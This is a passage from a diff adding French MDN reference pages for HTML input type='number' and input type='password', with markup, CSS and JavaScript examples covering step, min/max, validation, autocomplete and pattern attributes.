+<pre class="brush: html">&lt;input type="number" placeholder="Multiple de 10" step="10"&gt;</pre>
+
+<p>{{EmbedLiveSample("Paramétrer_la_taille_de_l’incrément", 600, 40)}}</p>
+
+<p>Dans cet exemple, on peut voir que les curseurs permettent d'augmenter ou de réduire la valeur de 10 (et non de 1). Il est toujours possible de saisir manuellement un nombre qui n'est pas un multiple de 10 mais la valeur sera alors considérée invalide.</p>
+
+<h3 id="Indiquer_un_minimum_et_un_maximum">Indiquer un minimum et un maximum</h3>
+
+<p>Les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} peuvent être employés afin d'indiquer les bornes de l'intervalle dans lequel doit se situer la valeur. Par exemple, avec le fragment HTML suivant, on indique que le minimum vaut 0 et que le maximum vaut 100 :</p>
+
+<pre class="brush: html">&lt;input type="number" placeholder="Multiple de 10" step="10" min="0" max="100"&gt;</pre>
+
+<p>{{EmbedLiveSample('Indiquer_un_minimum_et_un_maximum', 600, 40)}}</p>
+
+<p>Dans cet exemple, les curseurs ne permettent pas de dépasser 100 ou de saisir une valeur inférieure à 0. Il est toujours possible de saisir manuellement un nombre en dehors de ces bornes mais la valeur sera alors considérée invalide.</p>
+
+<h3 id="Autoriser_les_valeurs_décimales">Autoriser les valeurs décimales</h3>
+
+<p>Par défaut, l'incrément d'un tel contrôle vaut 1 et si on saisit la valeur <code>1.0</code>, elle sera considérée invalide. Si on souhaite pouvoir saisir une valeur qui contient une partie décimale, on pourra utiliser l'attribut <code>step</code> (par exemple, on pourra utiliser <code>step="0.01"</code> pour autoriser des nombres avec deux chiffres après la virgules) :</p>
+
+<pre class="brush: html">&lt;input type="number" placeholder="1.0" step="0.01" min="0" max="10"&gt;</pre>
+
+<p>{{EmbedLiveSample("Autoriser_les_valeurs_décimales", 600, 40)}}</p>
+
+<p>Dans cet exemple, on peut saisir des valeurs comprises entre 0 et 10 et qui ont au plus deux chiffres après la virgule, "9.52" sera considérée comme valide mais pas "9.521".</p>
+
+<h3 id="Paramétrer_la_taille_du_contrôle">Paramétrer la taille du contrôle</h3>
+
+<p>Les éléments {{HTMLElement("input")}} de type <code>"number"</code> ne prennent pas en charge l'attribut {{htmlattrxref("size", "input")}} et il est donc nécessaire d'utiliser CSS afin de modifier la taille des contrôles.</p>
+
+<p>Par exemple, si on souhaite réduire la largeur du contrôle car il ne permet que de saisir un nombre à trois chiffres, on ajoute un identifiant sur l'élément et on réduit le texte indicatif afin qu'il ne soit pas tronqué :</p>
+
+<pre class="brush: html">&lt;input type="number" placeholder="x10" step="10" min="0" max="100" id="number"&gt;</pre>
+
+<p>On ajoute ensuite une déclaration CSS dans la feuille de style pour l'élément avec un identifiant <code>"number"</code> :</p>
+
+<pre class="brush: css">#number {
+  width: 3em;
+}</pre>
+
+<p>Le résultat ressemblera à :</p>
+
+<p>{{EmbedLiveSample('Paramétrer_la_taille_du_contrôle', 600, 40)}}</p>
+
+<h3 id="Ajouter_des_valeurs_suggérées">Ajouter des valeurs suggérées</h3>
+
+<p>Il est possible de fournir une liste d'options par défaut parmi lesquelles l'utilisateur pourra choisir. Pour cela, on renseignera l'attribut {{htmlattrxref("list", "input")}} dont la valeur est l'identifiant (attribut <code>id</code>) d'un élément {{HTMLElement("datalist")}} contenant autant d'éléments {{HTMLElement("option")}} que de valeurs suggéréees. La valeur de l'attribut <code>value</code> de chaque élément <code>&lt;option&gt;</code> sera utilisée comme suggestion pour la saisie dans le contrôle.</p>
+
+<pre class="brush: html">&lt;input id="ticketNum" type="number" name="ticketNum" list="defaultNumbers"&gt;
+&lt;span class="validity"&gt;&lt;/span&gt;
+
+&lt;datalist id="defaultNumbers"&gt;
+  &lt;option value="10045678"&gt;
+  &lt;option value="103421"&gt;
+  &lt;option value="11111111"&gt;
+  &lt;option value="12345678"&gt;
+  &lt;option value="12999922"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample("Ajouter_des_valeurs_suggérées", 600, 40)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'attribut {{htmlattrxref("list", "input")}} pour les éléments <code>&lt;input&gt;</code> de type <code>"number"</code> n'est pas pris en charge pour tous les navigateurs (cela fonctionne pour Chrome et Opera mais pas pour Firefox par exemple).</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Plusieurs mécanismes de validation sont mis en place par le navigateur pour les contrôles de saisie numérique :</p>
+
+<ul>
+ <li>Toute valeur qui n'est pas un nombre est considérée comme invalide (la valeur vide est uniquement considérée comme valide si l'attribut <code>required</code> est absent).</li>
+ <li>Toute valeur qui n'est pas un multiple de {{htmlattrxref("step", "input")}} est considérée comme invalide.</li>
+ <li>Toute valeur qui est inférieure à {{htmlattrxref("min", "input")}} ou supérieure à {{htmlattrxref("max", "input")}} est considérée comme invalide.</li>
+</ul>
+
+<p>L'exemple suivant illustre l'ensemble de ces fonctionnalités et quelques règles CSS ont été ajoutées afin d'afficher des icônes pour indiquer si la valeur saisie est valide ou invalide :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="balloons"&gt;Quantité de ballons à commander (par 10) :&lt;/label&gt;
+    &lt;input id="balloons" type="number" name="balloons" step="10" min="0" max="100" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("Validation", 600, 80)}}</p>
+
+<p>Vous pouvez essayer d'envoyer des données invalides (pas de valeur, une valeur inférieure à 0 ou supérieure à 100 ou une valeur qui n'est pas un multiple de 10) afin de voir les messages d'erreur fournis par le navigateur.</p>
+
+<p>Voici les règles CSS appliquées :</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}
+
+input:invalid+span:after {
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>Ici, on a utilisé les pseudo-classes {{cssxref(":invalid")}} et {{cssxref(":valid")}} afin d'afficher une icône selon le cas, à côté de l'élément {{htmlelement("span")}} ajdacent. On utilise un élément <code>&lt;span&gt;</code> séparé pour plus de flexibilité : certains navigateurs n'affichent pas le contenu généré par les pseudo-classes pour certains types de contrôle (cf. <a href="/fr/docs/Web/HTML/Element/input/date#Validation"><code>&lt;input type="date"&gt;</code></a>).</p>
+
+<div class="warning">
+<p><strong>Important </strong>: la validation des données des formulaires par le navigateur (côté client) doit toujours être complétée d'une validation des données côté serveur (l'utilisateur peut toujours modifier le HTML et envoyer les données au serveur).</p>
+</div>
+
+<h3 id="Utilisation_d'un_motif_de_validation">Utilisation d'un motif de validation</h3>
+
+<p>Les éléments <code>&lt;input type="number"&gt;</code> ne prennent pas en charge l'attribut {{htmlattrxref("pattern", "input")}} qui permet de restreindre les valeurs selon une expression rationnelle. En effet, les contrôles de saisie numérique sont destinés à contenir des nombres plutôt que des chaînes de caractères et les autres attributs permettent de paramétrer les valeurs recevables (cf. ci-avant).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on crée un formulaire qui permet de saisir la taille d'un personne, par défaut exprimée en mètres et pour laquelle un bouton permet de la saisir en pieds (<em>feet</em>/<em>inches</em>).</p>
+
+<p>{{EmbedLiveSample("Exemples", 600, 100)}}</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+    &lt;div class="metersInputGroup"&gt;
+        &lt;label for="meters"&gt;Saisir votre taille — en mètres :&lt;/label&gt;
+        &lt;input id="meters" type="number" name="meters" step="0.01" min="0" placeholder="e.g. 1.78" required&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div class="feetInputGroup" style="display: none;"&gt;
+        &lt;span&gt;Saisir votre taille — &lt;/span&gt;
+        &lt;label for="feet"&gt;feet :&lt;/label&gt;
+        &lt;input id="feet" type="number" name="feet" min="0" step="1"&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+        &lt;label for="inches"&gt;inches :&lt;/label&gt;
+        &lt;input id="inches" type="number" name="inches" min="0" max="11" step="1"&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;input type="button" class="meters" value="Saisir la taille en feet/inches"&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;input type="submit" value="Envoyer"&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Ici on utilise l'attribut <code>step</code> avec la valeur <code>0.01</code> afin d'accepter une taille en centimètres. On fournit également un texte indicatif via <code>placeholder</code>.</p>
+
+<p>Par défaut on masque la saisie en pieds avec <code>style="display: none;"</code>.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>La feuille CSS ressemble de près à celle vue précédemment :</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Enfin, voici le code JavaScript utilisé :</p>
+
+<pre class="brush: js">var metersInputGroup = document.querySelector('.metersInputGroup');
+var feetInputGroup = document.querySelector('.feetInputGroup');
+var metersInput = document.querySelector('#meters');
+var feetInput = document.querySelector('#feet');
+var inchesInput = document.querySelector('#inches');
+var switchBtn = document.querySelector('input[type="button"]');
+
+switchBtn.addEventListener('click', function() {
+  if(switchBtn.getAttribute('class') === 'meters') {
+    switchBtn.setAttribute('class', 'feet');
+    switchBtn.value = 'Saisir la taille en mètres';
+
+    metersInputGroup.style.display = 'none';
+    feetInputGroup.style.display = 'block';
+
+    feetInput.setAttribute('required', '');
+    inchesInput.setAttribute('required', '');
+    metersInput.removeAttribute('required');
+
+    metersInput.value = '';
+  } else {
+    switchBtn.setAttribute('class', 'meters');
+    switchBtn.value = 'Saisir la taille en pieds';
+
+    metersInputGroup.style.display = 'block';
+    feetInputGroup.style.display = 'none';
+
+    feetInput.removeAttribute('required');
+    inchesInput.removeAttribute('required');
+    metersInput.setAttribute('required', '');
+
+    feetInput.value = '';
+    inchesInput.value = '';
+  }
+});</pre>
+
+<p>Après avoir déclaré quelques variables, on ajoute un gestionnaire d'évènements au bouton afin de gérer le changement d'unités. Lors de ce changement, on modifiera la classe du bouton et l'étiquette associée et on mettr à jour les valeurs affichées lorsque l'utilisateur appuie sur le bouton. On notera qu'il n'y a pas de mécanisme de conversion entre les mètres et les pieds (ce qui serait vraisemblablement implémenté dans une application réelle).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on clique sur le bouton, on retire l'attribut <code>required</code> du champ de saisie masqué et on vide l'attribut <code>value</code> afin de pouvoir envoyer le formulaire si un des deux champs n'est pas renseigné.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Un nombre ou une valeur vide.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charges</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>valueAsNumber</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#number-state-(type=number)', '&lt;input type="number"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#number-state-typenumber', '&lt;input type="number"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-number")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Guide sur les formulaires HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/tel">&lt;input type="tel"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/html/element/input/password/index.html b/files/fr/web/html/element/input/password/index.html
new file mode 100644
index 0000000000..e9262a6d46
--- /dev/null
+++ b/files/fr/web/html/element/input/password/index.html
@@ -0,0 +1,289 @@
+---
+title: <input type="password">
+slug: Web/HTML/Element/Input/password
+tags:
+  - Formulaires
+  - HTML
+  - Input
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/input/password
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments {{HTMLElement("input")}} de type <strong><code>"password"</code></strong> permettent à utilisateur de saisir un mot de passe sans que celui-ci ne soit lisible à l'écran. Un tel élément se présente comme un contrôle de saisie de texte sur une ligne et dans lequel chaque caractère est remplacé par un symbole (un astérisque ("*") ou un point ("•")) afin que le texte saisi ne puisse être lu. Le caractère utilisé pour obfusquer dépend de l'agent utilisateur (du navigateur) et du système d'exploitation utilisé.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-password.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>La façon dont le texte saisi est traité dépend du navigateur utilisé. Sur les appareils mobiles, par exemple, le caractère tapé est souvent laissé affiché un court instant afin que l'utilisateur puisse contrôler que c'est bien le bon caractère. Ainsi, même si le clavier est petit et viruel, on peut éviter de faire trop d'erreurs.</p>
+
+<div class="note">
+<p><strong>Note :</strong> les différents formulaires qui permettent d'envoyer des données sensibles (tels que des mots de passe) doivent être servis sur HTTPS. Firefox, Chrome et les autres navigateurs implémentent désormais différents mécanismes afin d'avertir l'utilisateur lorsqu'il saisit un mot de passe sur une connexion HTTP (cf. l'article <a href="/fr/docs/Web/Security/Insecure_passwords">mots de passe non sécurisés</a> pour Firefox).</p>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>La valeur de l'attribut {{htmlattrxref("value", "input")}} d'un tel élément contient une chaîne de caractères ({{domxref("DOMString")}}) dont la valeur est le texte qui est en cours de saisie dans le contrôle. Si l'utilisateur n'a pas encore saisi d'information, la valeur est une chaîne vide. Si l'attribut booléen {{htmlattrxref("required")}} est utilisé, le mot de passe doit contenir une valeur non vide afin que le formulaire puisse être envoyé.</p>
+
+<p>Si l'attribut {{htmlattrxref("pattern", "input")}} est indiqué, le contenu du contrôle doit respecter l'expression rationnelle indiquée par l'attribut. Pour plus d'informations, voir la section {{anch("Validation")}} ci-après.</p>
+
+<div class="note">
+<p>Note : Il n'est pas possible d'utiliser les caractères de fin de ligne (<em>Line Feed</em>) (code U+000A) et de retour chariot (<em>Carriage Return</em>) (code U+000D) dans la valeur d'un champ <code>"password"</code>. Lorsqu'on saisit la valeur, ces caractères sont retirés si besoin.</p>
+</div>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs communs à l'ensemble des éléments {{HTMLElement("input")}}, les champs pour les mots de passe prennent en charge les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>Le nombre de caractères maximal qui peut être écrit dans ce champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>Le nombre de caractères minimal qui peut être écrit dans ce champ pour qu'il soit considéré comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>Une expression rationnelle à laquelle doit correspondre le texte saisi pour être valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Une valeur d'exemple qui sera affichée lorsqu'aucune valeur n'est saisie.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un attribut booléen qui indique si le contenu du champ est en lecture seule.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
+   <td>Un nombre qui indique le nombre de caractères affichés par le champ.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(maxlength)">{{htmlattrdef("maxlength")}}</h3>
+
+<p>Le nombre maximum de caractères (exprimé en nombre d'unité de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>maxlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille maximale. La valeur indiquée par cet attribut doit être supérieure à <code>minlength</code>.</p>
+
+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du texte dépasse <code>maxlength</code> en nombre d'unité de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+<h3 id="htmlattrdef(minlength)">{{htmlattrdef("minlength")}}</h3>
+
+<p>Le nombre minimal de caractères (exprimé en nombre d'unité de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>minlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille minimale. La valeur indiquée par cet attribut doit être inférieur à <code>maxlength</code>.</p>
+
+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du texte est inférieure à <code>minlength</code> en nombre d'unité de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+<h3 id="htmlattrdef(pattern)">{{htmlattrdef("pattern")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "pattern-include")}}</p>
+
+<p>L'utilisation d'un motif pour les mots de passe est fortement recommandée. Elle permet de s'assurer que les mots de passe saisis respectent des critères de complexité suffisants pour être robustes. Voir la section {{anch("Validation")}} ci-après pour plus de détails et d'exemples.</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdef(readonly)">{{htmlattrdef("readonly")}}</h3>
+
+<p>Un attribut booléen qui, lorsqu'il est présent, indique que le champ ne peut pas être édité par l'utilisateur. Toutefois, la valeur de l'attribut <code>value</code> peut toujours être modifiée via du code JavaScript qui définirait la propriété {{domxref("HTMLInputElement.value")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Un champ en lecture seule pouvant ne pas avoir de valeur, l'attribut <code>required</code> n'aura pas d'effet si l'attribut <code>readonly</code> est également présent.</p>
+</div>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "size", 0, 1, 2)}}</p>
+
+<h2 id="Utiliser_les_contrôles_de_saisie_de_mot_de_passe">Utiliser les contrôles de saisie de mot de passe</h2>
+
+<p>Les champs destinés à la saisie des mots de passe fonctionnent comme les champs texte mais masquent le texte saisi pour que celui-ci ne puisse pas être lu sur l'écran.</p>
+
+<h3 id="Un_contrôle_basique">Un contrôle basique</h3>
+
+<p>Voici un exemple simple illustrant un contrôle de saisie d'un mot de passe qui utilise un élément {{HTMLElement("label")}} afin d'indiquer le rôle du champ.</p>
+
+<pre class="brush: html">&lt;label for="userPassword"&gt;Mot de passe :&lt;/label&gt;
+&lt;input id="userPassword" type="password"&gt;</pre>
+
+<p>{{EmbedLiveSample("Un_contrôle_basique", 600, 40)}}</p>
+
+<h3 id="Paramétrer_l’autocomplétion">Paramétrer l’autocomplétion</h3>
+
+<p>Afin de permettre au gestionnaire de mots de passe de saisir automatiquement le mot de passe, on pourra utiliser l'attribut {{htmlattrxref("autocomplete", "input")}}. Pour les mots de passe, celui-ci aura l'une des valeurs suivantes :</p>
+
+<dl>
+ <dt><code>on</code></dt>
+ <dd>Cette valeur permet au navigateur ou à un gestionnaire de mot de passe de remplir automatiquement le champ. Cette valeur n'est pas aussi informatique que <code>"current-password"</code> or <code>"new-password"</code>.</dd>
+ <dt><code>off</code></dt>
+ <dd>Cette valeur n'autorise pas le navigateur ou le gestionnaire de mot de passe à remplir le champ automatiquement.</dd>
+ <dt><code>current-password</code></dt>
+ <dd>Cette valeur indique au navigateur ou au gestionnaire de mots de passe qu'il faut utiliser le mot de passe actuel pour le site. Cette valeur est plus précise que la valeur <code>"on"</code> car elle indique qu'il faut utiliser le mot de passe courant plutôt qu'un nouveau mot de passe.</dd>
+ <dt><code>new-password</code></dt>
+ <dd>Cette valeur indique au navigateur ou au gestionnaire de mots de passe qu'il faut générer un nouveau mot de passe et utiliser ce dernier pour remplir le champ. La génération automatique du mot de passe peut alors utiliser les autres attributs de l'élément. Cette valeur peut également être indiquée pour que le navigateur indique cette information d'un façon ou d'une autre.</dd>
+</dl>
+
+<div id="Autocomplete_sample1">
+<pre class="brush: html">&lt;label for="userPassword"&gt;Mot de passe :&lt;/label&gt;
+&lt;input id="userPassword" type="password" autocomplete="current-password"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Paramétrer_l’autocomplétion", 600, 40)}}</p>
+
+<h3 id="Rendre_le_champ_obligatoire">Rendre le champ obligatoire</h3>
+
+<p>Pour indiquer à l'utilisateur que le mot de passe est obligatoire, on pourra utiliser l'attribut {{htmlattrxref("required", "input")}}.</p>
+
+<pre class="brush: html">&lt;label for="userPassword"&gt;Mot de passe :&lt;/label&gt;
+&lt;input id="userPassword" type="password" required&gt;</pre>
+
+<p>{{EmbedLiveSample("Rendre_le_champ_obligatoire", 600, 40)}}</p>
+
+<h3 id="Définir_un_mode_de_saisie">Définir un mode de saisie</h3>
+
+<p>Si votre application utilise un autre mode de saisie que le mode par défaut, l'attribut {{htmlattrxref("inputmode", "input")}} peut être employé pour indiquer le mode à utiliser. Le cas le plus fréquent est celui où on utilise une valeur numérique pour un mot de passe (par exemple pour un code PIN). Si ce code ne doit être utilisé qu'une seule fois, on pourra paramétrer l'attribut {{htmlattrxref("autocomplete", "input")}} avec la valeur <code>off</code>. Les appareils mobiles pourront tirer parti de la valeur de cet attribut et afficher un autre clavier pour faciliter la saisie.</p>
+
+<pre class="brush: html">&lt;label for="pin"&gt;PIN :&lt;/label&gt;
+&lt;input id="pin" type="password" inputmode="numeric"&gt;</pre>
+
+<p>{{EmbedLiveSample("Définir_un_mode_de_saisie", 600, 40)}}</p>
+
+<h3 id="Indiquer_des_critères_de_longueur">Indiquer des critères de longueur</h3>
+
+<p>Les attributs {{htmlattrxref("minlength", "input")}} et {{htmlattrxref("maxlength", "input")}} peuvent être utilisés afin d'indiquer les tailles minimale et maximale du mot de passe qui doit être saisi. Dans l'exemple qui suit, on repart de l'exemple précédent et on indique que le code PIN doit contenir au moins 4 caractères et au plus 8 caractères. L'attribut {{htmlattrxref("size", "input")}} est utilisé afin que le contrôle permette bien d'afficher 8 caractères.</p>
+
+<pre class="brush: html">&lt;label for="pin"&gt;PIN :&lt;/label&gt;
+&lt;input id="pin" type="password" inputmode="numeric" minlength="4"
+       maxlength="8" size="8"&gt;</pre>
+
+<p>{{EmbedLiveSample("Indiquer_des_critères_de_longueur", 600, 40)}}</p>
+
+<h3 id="Sélectionner_le_texte_saisi">Sélectionner le texte saisi</h3>
+
+<p>Il est possible d'utiliser la méthode {{domxref("HTMLInputElement.select", "select()")}} pour sélectionner le texte saisi dans le contrôle.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;label for="userPassword"&gt;Mot de passe :&lt;/label&gt;
+&lt;input id="userPassword" type="password" size="12"&gt;
+&lt;button id="selectAll"&gt;Sélectionner tout&lt;/button&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">document.getElementById("selectAll").onclick = function(event) {
+  document.getElementById("userPassword").select();
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Sélectionner_le_texte_saisi", 600, 40)}}</p>
+
+<p>On peut également utiliser {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} et {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}} afin d'obtenir (ou de régler) l'intervalle de caractères sélectionnés. {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}} permet de connaître la direction dans laquelle la sélection a été effectuée.</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Si votre application possède des contraintes sur les caractères utilisables ou sur la structure du mot de passe, il est possible d'utiliser l'attribut {{htmlattrxref("pattern", "input")}} afin que le navigateur vérifie que la valeur saisie respecte une expression rationnelle tenant compte de ces contraintes.</p>
+
+<p>Dans cet exemple, il n'est possible de saisir qu'une valeur qui contient entre 4 et 8 caractères qui sont des caractères hexadécimaux.</p>
+
+<div id="Validation_sample1">
+<pre class="brush: html">&lt;label for="hexId"&gt;Identifiant Hexa :&lt;/label&gt;
+&lt;input id="hexId" type="password" pattern="[0-9a-fA-F]{4,8}"
+       title="Veuillez saisir un identifiant avec 4 à 8 chiffres hexadécimaux."
+       autocomplete="nouveau-mot-de-passe"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Validation", 600, 40)}}</p>
+
+<h2 id="Désactiver_le_champ">Désactiver le champ</h2>
+
+<p>L'attribut booléen {{htmlattrdef("disabled")}} indique que le champ ne peut pas être utilisé de façon interactive. Les données des champs désactivés ne seront pas envoyées avec le formulaire.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Saisir_un_numéro_de_sécurité_sociale_américain_comme_mot_de_passe">Saisir un numéro de sécurité sociale américain comme mot de passe</h3>
+
+<p>Dans l'exemple qui suit, on construit un formulaire avec un mot de passe qui doit respecter le format d'un <a href="https://en.wikipedia.org/wiki/Social_Security_number#Structure">numéro de sécurité sociale américain</a>. Ces nombres ont la forme "123-45-6789" et il existe différentes règles permettant de restreindre les valeurs pour chacun des groupes.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;label for="ssn"&gt;SSN :&lt;/label&gt;
+&lt;input type="password" id="ssn" inputmode="number" minlength="9" maxlength="12"
+    pattern="(?!000)([0-6]\d{2}|7([0-6]\d|7[012]))([ -])?(?!00)\d\d\3(?!0000)\d{4}"
+    required autocomplete="off"&gt;
+&lt;br&gt;
+&lt;label for="ssn"&gt;Valeur :&lt;/label&gt;
+&lt;span id="current"&gt;&lt;/span&gt;</pre>
+
+<p>On n'utilise l'attribut {{htmlattrxref("pattern", "input")}} afin d'imposer certaines contraintes de saisie afin que les chaînes aient le bon format. Cette expression rationnelle ne garantit pas un numéro valide mais elle permet de s'assurer que la valeur saisie <em>peut</em> être un numéro de sécurité sociale valide. De plus, elle permet d'avoir un séparateur variable entre les trois groupes (un espace, un tiret ou rien).</p>
+
+<p>L'attribut {{htmlattrxref("inputmode", "input")}} vaut <code>number</code>, ce qui incite les appareils mobiles à utiliser un clavier virtuel uniquement numérique pour la saisie d'un tel champ. Les attributs {{htmlattrxref("minlength", "input")}} et {{htmlattrxref("maxlength", "input")}} valent respectivement 9 et 12 et l'attribut {{htmlattrxref("required", "input")}} indique que cette valeur est nécessaire pour envoyer le formulaire. Enfin, {{htmlattrxref("autocomplete", "input")}} vaut <code>off</code>, ce qui évite que les gestionnaires de mots de passe ou que les fonctionnalités de restoration de session remplissent automatiquement cette valeur.</p>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Saisir_un_numéro_de_sécurité_sociale_américain_comme_mot_de_passe", 600, 60)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères qui représente un mot de passe (la chaîne peut éventuellement être vide).</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
